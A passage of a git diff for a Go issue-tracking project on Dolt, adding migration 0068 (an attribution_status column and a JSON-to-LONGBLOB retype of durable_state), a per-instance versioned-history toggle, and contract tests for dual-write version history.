rows[0]["attribution_status"] != "claimed" { + t.Fatalf("attribution_status round-trip failed post-migration: %v", rows) + } + + // Step 7's actual property, measured rather than inferred from the + // type name: bytes written to durable_state come back byte for byte. + // These three number forms are the ones Dolt's JSON type renormalizes + // (on 2.2.3 the same INSERT into a JSON column reads back as + // {"a":1,"big":9007199254740992,"e":1e+300}), so a regression to JSON + // fails here even if the DATA_TYPE assertion above were loosened. + const verbatim = `{"a":1.0,"big":9007199254740993,"e":1e300}` + runDoltSQL(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status, durable_state) VALUES ('iv-2', 1, 1, '2026-09-01 00:00:00', 'claimed', '`+verbatim+`')`) + rows = queryDoltCSV(t, dir, `SELECT durable_state FROM issue_versions WHERE issue_id = 'iv-2'`) + if len(rows) != 1 || rows[0]["durable_state"] != verbatim { + t.Fatalf("durable_state round-trip changed the bytes post-migration: got %v, want %q", rows, verbatim) + } +} diff --git a/internal/storage/schema/migrations/0068_add_attribution_status.down.sql b/internal/storage/schema/migrations/0068_add_attribution_status.down.sql new file mode 100644 index 000000000..8c9942fe4 --- /dev/null +++ b/internal/storage/schema/migrations/0068_add_attribution_status.down.sql @@ -0,0 +1,44 @@ +-- Reverse of 0068 steps 6 and 7 only (attribution_status, and the +-- durable_state LONGBLOB retype), undone in reverse order. Steps 1-5 of +-- section 16.3 do not exist in this migration (see 0068's up file), so +-- there is nothing else to reverse here. +-- +-- issue_versions is guaranteed empty in any real rollback scenario for the +-- same reason the up migration's NOT NULL-no-default is safe (Phase 2 is +-- this table's first writer, shipping in the same build as this column), so +-- dropping the column loses no data that could exist independent of this +-- migration. +-- +-- Guarded on INFORMATION_SCHEMA the same way 0067's down is, so a +-- partially-applied or already-rolled-back workspace rolls back safely. +-- Only migrations/*.up.sql is embedded into the CLI fresh bundle, so the +-- PREPARE hazard (cli_prepared_ddl.go) never reaches this file. +-- +-- Step 7 reverse: put durable_state back to the JSON type 0067 created it +-- with. Guarded on DATA_TYPE so a store that never took the retype, or was +-- already rolled back, no-ops. issue_versions is empty in any real rollback +-- scenario (see above), so there are no LONGBLOB bytes for the JSON type to +-- reject or renormalize on the way back. +SET @issue_versions_ds_is_longblob = ( + SELECT IF(DATA_TYPE = 'longblob', 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'durable_state' +); +SET @sql = IF(@issue_versions_ds_is_longblob = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN durable_state JSON', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- Step 6 reverse: drop attribution_status. +SET @issue_versions_as_has = ( + SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'attribution_status' +); +SET @sql = IF(@issue_versions_as_has > 0, + 'ALTER TABLE issue_versions DROP COLUMN attribution_status', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/migrations/0068_add_attribution_status.up.sql b/internal/storage/schema/migrations/0068_add_attribution_status.up.sql new file mode 100644 index 000000000..e9367a543 --- /dev/null +++ b/internal/storage/schema/migrations/0068_add_attribution_status.up.sql @@ -0,0 +1,106 @@ +-- Migration 0068: Phase 2 dual-write schema for versioned beads (be-hs42e.3 +-- / gastownhall/beads#6135), step 6 of design section 16.3 (be-dt74u +-- amendment, be-hs42e.3's design field), plus step 7 -- the durable_state +-- LONGBLOB retype added at review, which has its own header further down. +-- +-- Steps 1-5 of section 16.3 (version_id CHAR(36) UUID PK swap; +-- participation_generation BIGINT NULL on issues and its wisps shape-parity +-- mirror) are deliberately NOT in this file: be-v33pa's own scope is BASE +-- re-seating + attribution_status (section 16.4) only, per its exit +-- contract. A later bead may append the remaining steps to this same file -- +-- scripts/check-migration-hygiene.sh Check C only protects a migration +-- already shipped on the base branch, and this one is still unmerged. +-- +-- attribution_status (section 16.4, vocabulary aligned to BDP's +-- carried-attribution status, gastownhall/bdp#18, merged 2026-09-07): exactly +-- two legal values, 'claimed' (the mutation arrived with an actor) and +-- 'unknown' (the mutation path had none). 'imported' is provenance, not an +-- assertion, and is NOT a status -- it returns as a separate provenance +-- marker in the phase that first imports history, for which no writer +-- exists yet. A NOT NULL column with no default is safe here because +-- issue_versions (created by 0067, a prior migration in this same set) is +-- guaranteed empty at this point in any replay -- Phase 2 is this table's +-- first and only writer, and its dual-write code lands in the same build as +-- this column, so there is no pre-existing row for the NOT NULL constraint +-- to reject. See RecordVersionInTx / attributionStatusForActor in +-- internal/storage/issueops/version_history.go for what populates it. +-- +-- Ordinals are local, not wire addresses: issues.current_revision and +-- issue_versions.revision are per-store ordinals (two disconnected clones can +-- both hold revision 8 for the same issue). The only durable address of a +-- version is version_id (steps 1-3 above, not yet landed). The HTTP API's +-- RowVersion/Revision is a compare-and-set token, never an address, and Phase +-- 3's read surface returns version_id, never the ordinal. +-- +-- SINGLE WRITER ONLY until steps 1-3 land: with PRIMARY KEY (issue_id, +-- revision), two disconnected writers that each mint the same ordinal +-- collide on merge and TryAutoResolveMergeConflicts fails the pull for a +-- table it does not know, so enabling versioned history is safe only with a +-- single writer per store until the UUID version_id primary key lands and +-- the ordinal is demoted to an index. Those steps follow as their own PR. +-- "Single writer" means one writer at a time per store, not merely one +-- clone: MAX(revision)+1 is not a safe allocator for two concurrent +-- transactions in one store either (gastownhall/beads#6379, item 4). +-- +-- Guarded the same way 0067's ADD COLUMNs are (see that file's header for +-- the full explanation of why: no MariaDB-only IF NOT EXISTS on Dolt 2.2.3's +-- ADD COLUMN, so an INFORMATION_SCHEMA probe + PREPARE is the only +-- replay-safe shape) -- makes a raw-SQL replay of this file a clean no-op on +-- an already-migrated store. Needs a CLI-bundle direct-DDL override +-- (cliMigration0068AddAttributionStatus in cli_migrations.go), the same +-- dolthub/dolt#11345 escape hatch 0067 uses, guarded by +-- TestBundleMigrationsWithPreparedALTERAreOverriddenOrJustified. +-- +-- No wisps twin needed: issue_versions has no wisps-side counterpart table +-- at all (design section 16.3), so cliSubstituteAssumesWispTables does not +-- apply to this migration either. +SET @issue_versions_as_needs_add = ( + SELECT IF(COUNT(*) = 0, 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'attribution_status' +); +SET @sql = IF(@issue_versions_as_needs_add = 1, + 'ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; + +-- 0068 step 7, added at review (donnabox on gastownhall/beads#6358 item +-- 4): retype issue_versions.durable_state from JSON to LONGBLOB. +-- +-- 0067 created durable_state as a Dolt JSON column. Dolt's JSON type does +-- not keep the bytes it is handed -- it parses and renormalizes them, and +-- numbers do not survive the round trip (measured on dolt 2.2.3): 1.0 reads +-- back as 1, 9007199254740993 (past 2^53) reads back as 9007199254740992, +-- 1e300 reads back as 1e+300. A LONGBLOB returns the same bytes it was +-- given, byte for byte (same measurement). That breaks the design's +-- verbatim-bytes promise (R5.1) and makes any content-derived token +-- impossible, because sha256 over the bytes read back would not equal +-- sha256 over the bytes written. The column has to preserve bytes, so it +-- becomes a LONGBLOB. The writer (RecordVersionInTx in +-- internal/storage/issueops/version_history.go) stores the RFC 8785 (JCS) +-- canonical form of the marshalled issue and readers parse those bytes, so +-- the stored bytes are exactly the bytes a content token hashes. +-- +-- No data conversion is needed: issue_versions is empty in the Phase 2 era +-- (this migration and the table's first writer ship in the same build -- +-- see the attribution_status note above), so the MODIFY changes only the +-- column type. Guarded on DATA_TYPE the same way 0057 guards its LONGTEXT +-- widenings: the retype fires when the column exists and is not yet +-- LONGBLOB, and a raw-SQL replay onto an already-migrated store is a clean +-- no-op (a missing column makes the probe yield NULL, and the IF takes the +-- SELECT 1 branch, the same way 0067's table-exists guards no-op). The +-- CLI-bundle override (cliMigration0068AddAttributionStatus) carries the +-- direct MODIFY for the same pre-2.3 CLI reason as step 6. +SET @issue_versions_ds_needs_retype = ( + SELECT IF(DATA_TYPE <> 'longblob', 1, 0) + FROM INFORMATION_SCHEMA.COLUMNS + WHERE TABLE_SCHEMA = DATABASE() + AND TABLE_NAME = 'issue_versions' + AND COLUMN_NAME = 'durable_state' +); +SET @sql = IF(@issue_versions_ds_needs_retype = 1, + 'ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB', + 'SELECT 1'); +PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt; diff --git a/internal/storage/schema/schema_test.go b/internal/storage/schema/schema_test.go index 4e1167ab1..14940832b 100644 --- a/internal/storage/schema/schema_test.go +++ b/internal/storage/schema/schema_test.go @@ -1962,6 +1962,11 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) // 0067: two-plane prepared ADD COLUMN, same shape as 0060. "ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", "ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;", + // 0068: single-plane prepared ADD COLUMN, same shape as 0066 (no + // wisps twin — issue_versions has none), plus step 7's prepared + // MODIFY COLUMN (durable_state JSON -> LONGBLOB), same shape as 0065. + "ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL;", + "ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB;", } { if !strings.Contains(got, want) { t.Fatalf("AllMigrationsSQL missing direct CLI DDL %q", want) @@ -1988,6 +1993,10 @@ func TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities(t *testing.T) // also appear in the ignored twin, which is not bundled. "@issues_cr_needs_add", "@wisps_cr_needs_add", + // 0068 guards both of its ALTERs the same way; only its source text + // carries these probes. + "@issue_versions_as_needs_add", + "@issue_versions_ds_needs_retype", } { if strings.Contains(got, forbidden) { t.Fatalf("AllMigrationsSQL contains source prepared-DDL guard %q", forbidden) diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 52e7aafad..bee323253 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -839,6 +839,30 @@ type EventsJournalConfigurer interface { SetEventsJournalEnabled(enabled bool) } +// VersionedHistoryConfigurer controls dual-write issue-version history +// activation on ONE storage instance. Implementations must never use +// process-global state, for the same reason as EventsJournalConfigurer: +// a process can hold several stores at once, and enabling history on one must +// not turn it on for any other. Callers type-assert; a store that does not +// implement it simply cannot record version history. +// +// SINGLE WRITER ONLY until the version_id primary-key swap lands. +// issue_versions is keyed PRIMARY KEY (issue_id, revision), and revision is +// a local ordinal (MAX(revision)+1 inside the writing transaction), so two +// disconnected writers that each mint the same ordinal for the same issue +// collide on merge — and TryAutoResolveMergeConflicts +// (versioncontrolops/mergesettle.go) fails the pull for a table it does not +// know. Enabling versioned history is therefore safe only with a SINGLE +// writer per store until migration 0068 steps 1-3 (UUID version_id primary +// key, ordinal demoted to an index) land; those steps follow as their own +// PR. "Single writer" means one writer at a time per store, not merely one +// clone: MAX(revision)+1 is not a safe allocator for two concurrent +// transactions in one store either (gastownhall/beads#6379, item 4). See +// issueops/version_history.go for why the ordinal is never an address. +type VersionedHistoryConfigurer interface { + SetVersionedHistoryEnabled(enabled bool) +} + // LifecycleManager provides lifecycle inspection beyond Close(). type LifecycleManager interface { IsClosed() bool diff --git a/internal/storage/uow/cross_record_invariant_contract_test.go b/internal/storage/uow/cross_record_invariant_contract_test.go new file mode 100644 index 000000000..b88f0d774 --- /dev/null +++ b/internal/storage/uow/cross_record_invariant_contract_test.go @@ -0,0 +1,41 @@ +package uow + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestCrossRecordInvariantContract wires this leg into the R16.1 +// cross-record invariant contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestCrossRecordInvariantContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.CrossRecordInvariantFixture{IssuePrefix: "xrec"} + + t.Run("SurvivesTwoPassingPerRecordGuards", func(t *testing.T) { + conformance.RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards(t, ctx, fixture) + }) + t.Run("StoreInvariantTransactionScopesExactlyTheSpanningRecords", func(t *testing.T) { + conformance.RunStoreInvariantTransactionScopesExactlyTheSpanningRecords(t, ctx, fixture) + }) + t.Run("InvariantRefusalNamesTheViolatedInvariant", func(t *testing.T) { + conformance.RunInvariantRefusalNamesTheViolatedInvariant(t, ctx, fixture) + }) + t.Run("MemoryKeyAliasUniquenessIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("MaximumEndpointMultiplicityIsAStoreInvariantNotACAS", func(t *testing.T) { + conformance.RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS(t, ctx, fixture) + }) + t.Run("AdvisoryLeaseAloneDoesNotPreventTheInvariantViolation", func(t *testing.T) { + conformance.RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation(t, ctx, fixture) + }) + t.Run("LeaseAcquisitionRecordsNoHistoryEntry", func(t *testing.T) { + conformance.RunLeaseAcquisitionRecordsNoHistoryEntry(t, ctx, fixture) + }) +} diff --git a/internal/storage/uow/dependency_editor_contract_test.go b/internal/storage/uow/dependency_editor_contract_test.go index 7efe4364b..02b91a878 100644 --- a/internal/storage/uow/dependency_editor_contract_test.go +++ b/internal/storage/uow/dependency_editor_contract_test.go @@ -5,6 +5,7 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" ) // TestUOWDependencyEditorContract runs the shared DependencyEditor contract @@ -29,6 +30,8 @@ func TestUOWDependencyEditorContract(t *testing.T) { {name: "RefusesCrossPlaneCycle", run: conformance.RunDependencyEditorRefusesCrossPlaneCycle}, {name: "AddedEchoesTheRequestOrder", run: conformance.RunDependencyEditorAddedEchoesTheRequestOrder}, {name: "SameTypeReAddIsIdempotent", run: conformance.RunDependencyEditorSameTypeReAddIsIdempotent}, + {name: "SameTypeReAddWithChangedMetadataMintsOneVersion", run: conformance.RunDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion}, + {name: "SameTypeReAddWithIdenticalMetadataIsANoOp", run: conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp}, {name: "RepeatsWithinOneRequestCollapse", run: conformance.RunDependencyEditorRepeatsWithinOneRequestCollapse}, {name: "AttributesItsEventsToTheActor", run: conformance.RunDependencyEditorAttributesItsEventsToTheActor}, {name: "RetypeRefusalLeavesTheOriginalEdge", run: conformance.RunDependencyEditorRetypeRefusalLeavesTheOriginalEdge}, @@ -79,14 +82,24 @@ func newUOWDependencyEditorFixture(t *testing.T, ctx context.Context) conformanc if err != nil { t.Fatalf("NewDependencyEditor: %v", err) } + configurer, ok := provider.(storage.EventsJournalConfigurer) + if !ok { + t.Fatalf("provider %T does not implement storage.EventsJournalConfigurer", provider) + } + versionConfigurer, ok := provider.(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("provider %T does not implement storage.VersionedHistoryConfigurer", provider) + } kit := newUOWRoleFixtureKit(provider, "bd") return conformance.DependencyEditorFixture{ - IssuePrefix: kit.IssuePrefix, - Editor: editor, - CreateIssue: kit.CreateIssue, - CreateWisp: kit.CreateWisp, - AddDependency: kit.AddDependency, - QueryScalar: kit.QueryScalar, - CountHistory: kit.CountHistory, + IssuePrefix: kit.IssuePrefix, + Editor: editor, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + AddDependency: kit.AddDependency, + QueryScalar: kit.QueryScalar, + CountHistory: kit.CountHistory, + SetJournalEnabled: configurer.SetEventsJournalEnabled, + SetVersionedHistoryEnabled: versionConfigurer.SetVersionedHistoryEnabled, } } diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 0d770840f..7acd42628 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -57,6 +57,9 @@ type doltSQLProvider struct { // eventsJournalEnabled activates the durable events journal for THIS // provider instance only. See SetEventsJournalEnabled. eventsJournalEnabled atomic.Bool + // versionedHistoryEnabled activates dual-write issue-version history for + // THIS provider instance only. See SetVersionedHistoryEnabled. + versionedHistoryEnabled atomic.Bool } // SetEventsJournalEnabled activates the durable events journal for every unit @@ -73,6 +76,13 @@ func (p *doltSQLProvider) SetEventsJournalEnabled(enabled bool) { p.eventsJournalEnabled.Store(enabled) } +// SetVersionedHistoryEnabled activates dual-write issue-version history for +// every unit of work this provider begins from now on. Per instance, never +// process-global — see SetEventsJournalEnabled. +func (p *doltSQLProvider) SetVersionedHistoryEnabled(enabled bool) { + p.versionedHistoryEnabled.Store(enabled) +} + type bootstrapPreparationError struct { err error retryable bool @@ -147,9 +157,10 @@ func applyProviderOptions(opts []ProviderOption) providerOptions { } var ( - _ UnitOfWorkProvider = (*doltSQLProvider)(nil) - _ TxProvider = (*doltSQLProvider)(nil) - _ storage.EventsJournalConfigurer = (*doltSQLProvider)(nil) + _ UnitOfWorkProvider = (*doltSQLProvider)(nil) + _ TxProvider = (*doltSQLProvider)(nil) + _ storage.EventsJournalConfigurer = (*doltSQLProvider)(nil) + _ storage.VersionedHistoryConfigurer = (*doltSQLProvider)(nil) ) func (p *doltSQLProvider) NewUOW(ctx context.Context) (UnitOfWork, error) { @@ -177,14 +188,16 @@ func (p *doltSQLProvider) BeginTx(ctx context.Context) (Tx, error) { return nil, fmt.Errorf("uow: failed to start transaction: %w", err) } - // Bind journal activation to the connection this unit of work is pinned to, - // AFTER START TRANSACTION so the seq allocation's UPDATE and the SELECT that - // must observe it are inside one transaction on one session. The scope is - // released when the connection is (doltServerTx.releaseConn / poisonConn), - // so an entry cannot outlive its transaction. + // Bind journal and versioned-history activation to the connection this unit + // of work is pinned to, AFTER START TRANSACTION so the seq allocation's + // UPDATE and the SELECT that must observe it are inside one transaction on + // one session. Both scopes are released when the connection is + // (doltServerTx.releaseConn / poisonConn), so an entry cannot outlive its + // transaction. return &doltServerTx{ conn: conn, clearJournalScope: issueops.ScopeEventsJournalTransaction(conn, p.eventsJournalEnabled.Load()), + clearVersionScope: issueops.ScopeVersionedHistoryTransaction(conn, p.versionedHistoryEnabled.Load()), }, nil } diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index 12762d972..616b7880d 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -18,6 +18,10 @@ type doltServerTx struct { // releaseConn and poisonConn — so the activation entry cannot outlive the // transaction it describes, whichever way the transaction ends. clearJournalScope func() + // clearVersionScope is clearJournalScope's counterpart for dual-write + // issue-version history: same binding at BeginTx, same release at + // releaseConn/poisonConn. + clearVersionScope func() } var _ Tx = (*doltServerTx)(nil) @@ -155,6 +159,7 @@ func (t *doltServerTx) rollbackConn(ctx context.Context) error { func (t *doltServerTx) releaseConn() { t.releaseJournalScope() + t.releaseVersionScope() if t.conn != nil { _ = t.conn.Close() t.conn = nil @@ -171,6 +176,15 @@ func (t *doltServerTx) releaseJournalScope() { } } +// releaseVersionScope is releaseJournalScope's counterpart for dual-write +// issue-version history. Idempotent for the same reason. +func (t *doltServerTx) releaseVersionScope() { + if t.clearVersionScope != nil { + t.clearVersionScope() + t.clearVersionScope = nil + } +} + // poisonConn discards the pinned session instead of returning it to the pool. // A session whose transaction may still be open must never be reused: because // go-sql-driver's ResetSession only performs a liveness check (no @@ -179,6 +193,7 @@ func (t *doltServerTx) releaseJournalScope() { // database/sql close the connection and drop it from the pool. func (t *doltServerTx) poisonConn() { t.releaseJournalScope() + t.releaseVersionScope() if t.conn == nil { return } diff --git a/internal/storage/uow/dualwrite_history_contract_test.go b/internal/storage/uow/dualwrite_history_contract_test.go new file mode 100644 index 000000000..d4ab1b046 --- /dev/null +++ b/internal/storage/uow/dualwrite_history_contract_test.go @@ -0,0 +1,229 @@ +package uow + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// TestDualWriteContract runs the dual-write history contract against the +// unit-of-work provider. All three legs share RecordVersionInTx's one body, +// so this is an engine check rather than a second vote — and here it checks +// the composition, the part that genuinely differs on this leg: dual-write +// history has to land inside the SAME unit of work as the mutation it +// accompanies, and this is the only leg where that mutation's own commit is +// assembled by composition rather than opened directly against a *sql.DB. +func TestDualWriteContract(t *testing.T) { + ctx := context.Background() + fixture := newUOWDualWriteFixture(t, ctx, "dwc", true) + + t.Run("MintsOneVersionRowPerAcceptedMutation", func(t *testing.T) { + conformance.RunDualWriteMintsOneVersionRowPerAcceptedMutation(t, ctx, fixture) + }) + t.Run("NoOpMutationMintsNoRow", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationMintsNoRow(t, ctx, fixture) + }) + t.Run("AttributionIsRecordedWithTheMutation", func(t *testing.T) { + conformance.RunDualWriteAttributionIsRecordedWithTheMutation(t, ctx, fixture) + }) + t.Run("CurrentRevisionMatchesTheNewVersionRow", func(t *testing.T) { + conformance.RunDualWriteCurrentRevisionMatchesTheNewVersionRow(t, ctx, fixture) + }) + t.Run("NoOpMutationLeavesThePriorVersionRowUnperturbed", func(t *testing.T) { + conformance.RunDualWriteNoOpMutationLeavesThePriorVersionRowUnperturbed(t, ctx, fixture) + }) +} + +// TestDualWriteContractFlagOff runs FR-7 against a provider constructed with +// the flag OFF from the start — its own provider, not a shared one, so "flag +// off" means what FR-7 promises rather than "not yet turned on this session". +func TestDualWriteContractFlagOff(t *testing.T) { + ctx := context.Background() + fixture := newUOWDualWriteFixture(t, ctx, "dwcoff", false) + + t.Run("FlagOffProducesNoVersionRows", func(t *testing.T) { + conformance.RunDualWriteFlagOffProducesNoVersionRows(t, ctx, fixture) + }) +} + +// TestDualWriteFixtureKitIsWired is this leg's half of the explicit +// per-leg guardrail design §8.5 calls for in place of AST auto-discovery — +// see the dolt leg's TestDualWriteFixtureKitIsWired for why the guardrail is +// needed even though TestEveryLegWiresEveryRoleContract's scan already +// enumerates and confirms wiring for all six RunDualWriteXxx entrypoints. +func TestDualWriteFixtureKitIsWired(t *testing.T) { + ctx := context.Background() + fixture := newUOWDualWriteFixture(t, ctx, "dwk", true) + + if fixture.Mutate == nil { + t.Error("DualWriteFixture.Mutate is nil") + } + if fixture.MutateAsNoOp == nil { + t.Error("DualWriteFixture.MutateAsNoOp is nil") + } + if fixture.CurrentRevision == nil { + t.Error("DualWriteFixture.CurrentRevision is nil") + } + if fixture.VersionRowCount == nil { + t.Error("DualWriteFixture.VersionRowCount is nil") + } + if fixture.LatestVersionAttribution == nil { + t.Error("DualWriteFixture.LatestVersionAttribution is nil") + } +} + +// TestUOWCreateWithLabelAndEdgeMintsPerRepositoryWrite_KnownDivergence makes +// the uow leg's 1+N+M divergence machine-visible (reviewer MINOR-3 on +// gastownhall/beads#6358). TestDualWriteContract's Mutate creates an issue +// with no labels and no dependencies, so its "exactly one version row per +// accepted mutation" case cannot see what a fuller create does on this leg: +// domain.IssueUseCase.CreateIssue inserts the row and then persists each +// label and each edge through its own repository (domain/db label.go and +// dependency.go), and every one of those repository writes reaches +// issueops.RecordVersionInTx on its own — 1 + N + M rows for ONE +// caller-visible create. The direct legs (dolt, embeddeddolt) mint exactly +// one row for the same shape: issueops.CreateIssuesInTxWithContext runs its +// constituents without minting and mints once per issue after the +// creation-time edges land. +// +// This test pins the CURRENT, measured behavior — three rows for one label +// and one edge — so the divergence is a red test away from being fixed +// rather than a comment. KNOWN DIVERGENCE gastownhall/beads#6379: +// it is EXPECTED TO FLIP when that follow-up lands and the uow create mints +// once; update the want to 1 then and fold the shape into the contract. +func TestUOWCreateWithLabelAndEdgeMintsPerRepositoryWrite_KnownDivergence(t *testing.T) { + ctx := context.Background() + const prefix = "dwle" + provider := newUOWVersionedHistoryProvider(t, ctx, prefix, true) + kit := newUOWRoleFixtureKit(provider, prefix) + + // The edge needs a target that exists; seeded through the kit, with no + // labels and no edges, it doubles as the control for the bare shape. + target := prefix + "-target" + if err := kit.CreateIssue(ctx, &types.Issue{ + ID: target, Title: "t-" + target, IssueType: types.TypeTask, Status: types.StatusOpen, + }, "actor"); err != nil { + t.Fatalf("seeding %s: %v", target, err) + } + + id := prefix + "-label-and-edge" + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + _, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{ + Issue: &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, + ExplicitID: id, + Labels: []string{"one"}, + Dependencies: []domain.DependencySpec{{Type: types.DepBlocks, TargetID: target}}, + CreateOnly: true, + }, "actor") + return "create " + id, err + }); err != nil { + t.Fatalf("creating %s with one label and one edge: %v", id, err) + } + + count := func(what, query string, args ...any) int { + t.Helper() + var n int + if err := kit.QueryScalar(ctx, query, args, &n); err != nil { + t.Fatalf("counting %s: %v", what, err) + } + return n + } + // The rows counted below belong to a create that really carried both + // writes, not to one that dropped a label or an edge on the way in. + if labels := count("labels", "SELECT COUNT(*) FROM labels WHERE issue_id = ?", id); labels != 1 { + t.Fatalf("labels on %s = %d, want 1", id, labels) + } + if edges := count("edges", "SELECT COUNT(*) FROM dependencies WHERE issue_id = ? AND "+ + "COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?", id, target); edges != 1 { + t.Fatalf("edges %s -> %s = %d, want 1", id, target, edges) + } + + // 1 issue row + 1 label + 1 edge, each minted by its own repository write. + // The direct legs mint exactly 1 for this shape. + const mintedToday = 3 + got := count("version rows for "+id, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", id) + if got != mintedToday { + t.Errorf("version rows for %s after one create with 1 label + 1 edge = %d, want the %d this leg mints today "+ + "(1 issue + 1 label + 1 edge); 1 would mean gastownhall/beads#6379 landed — flip this test into the contract", + id, got, mintedToday) + } + // The bare shape on the same leg mints one row, so the two extra rows + // above are the label and the edge, not something else about this leg. + if bare := count("version rows for "+target, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", target); bare != 1 { + t.Errorf("version rows for %s (no labels, no edges) = %d, want 1", target, bare) + } + t.Logf("KNOWN DIVERGENCE gastownhall/beads#6379: uow create with 1 label + 1 edge minted %d version rows "+ + "(1 issue + 1 label + 1 edge, one per repository write); the direct legs mint exactly 1 for the same shape. "+ + "This test is expected to FLIP when the follow-up lands.", got) +} + +// newUOWVersionedHistoryProvider boots one provider for a versioned-history +// suite and sets the flag as asked — through the capability accessor's +// operator half, the same way newUOWJournalFixture reaches +// storage.EventsJournalConfigurer: a provider that stopped offering the role +// is the regression this assertion exists to catch. +func newUOWVersionedHistoryProvider(t *testing.T, ctx context.Context, prefix string, enabled bool) UnitOfWorkProvider { + t.Helper() + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + configurer, ok := provider.(storage.VersionedHistoryConfigurer) + if !ok { + t.Fatalf("provider %T does not implement storage.VersionedHistoryConfigurer", provider) + } + configurer.SetVersionedHistoryEnabled(enabled) + return provider +} + +func newUOWDualWriteFixture(t *testing.T, ctx context.Context, prefix string, enabled bool) conformance.DualWriteFixture { + t.Helper() + provider := newUOWVersionedHistoryProvider(t, ctx, prefix, enabled) + kit := newUOWRoleFixtureKit(provider, prefix) + return conformance.DualWriteFixture{ + IssuePrefix: prefix, + Mutate: func(ctx context.Context, id string) error { + return RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + _, err := uw.IssueUseCase().CreateIssue(ctx, domain.CreateIssueParams{ + Issue: &types.Issue{ + ID: id, Title: "t-" + id, IssueType: types.TypeTask, Status: types.StatusOpen, + }, + ExplicitID: id, + CreateOnly: true, + }, "actor") + return "create " + id, err + }) + }, + MutateAsNoOp: func(ctx context.Context, id string) error { + // Re-sets title to the exact value Mutate already gave it, so + // issueops.DiscardNoopIssueUpdates discards it before it ever + // reaches RecordVersionInTx. + return RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "update " + id, uw.IssueUseCase().UpdateIssue(ctx, id, + map[string]any{"title": "t-" + id}, "actor") + }) + }, + CurrentRevision: func(ctx context.Context, id string) (int64, error) { + var revision int64 + err := kit.QueryScalar(ctx, "SELECT current_revision FROM issues WHERE id = ?", []any{id}, &revision) + return revision, err + }, + VersionRowCount: func(ctx context.Context, id string) (int, error) { + var count int + err := kit.QueryScalar(ctx, "SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?", []any{id}, &count) + return count, err + }, + LatestVersionAttribution: func(ctx context.Context, id string) (actor, agent, message string, err error) { + err = kit.QueryScalar(ctx, ` + SELECT COALESCE(change_actor, ''), COALESCE(change_agent, ''), COALESCE(change_message, '') + FROM issue_versions + WHERE issue_id = ? + ORDER BY revision DESC + LIMIT 1`, []any{id}, &actor, &agent, &message) + return actor, agent, message, err + }, + } +} diff --git a/internal/storage/uow/expected_revision_contract_test.go b/internal/storage/uow/expected_revision_contract_test.go new file mode 100644 index 000000000..53f17947d --- /dev/null +++ b/internal/storage/uow/expected_revision_contract_test.go @@ -0,0 